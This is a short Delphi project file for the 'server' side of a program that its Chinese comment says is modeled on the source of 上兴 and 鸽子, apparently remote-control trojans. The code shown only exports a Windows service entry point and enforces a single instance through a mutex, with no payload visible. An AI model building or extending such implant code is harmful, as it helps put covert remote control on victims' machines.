server.dpr

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

program SERVER;
uses
  start,Windows,mainserver, winntService;


exports
  ServiceMain;

begin
   DllProc := @DLLEntryPoint;
    CreateMutex(nil, TRUE, 'dll'); //TRUE 标明该进程拥有此 Mutex 对象
 if (GetLastError = ERROR_ALREADY_EXISTS) then exitprocess(0);//Mutex 
 //对象是否存在
   main;
end.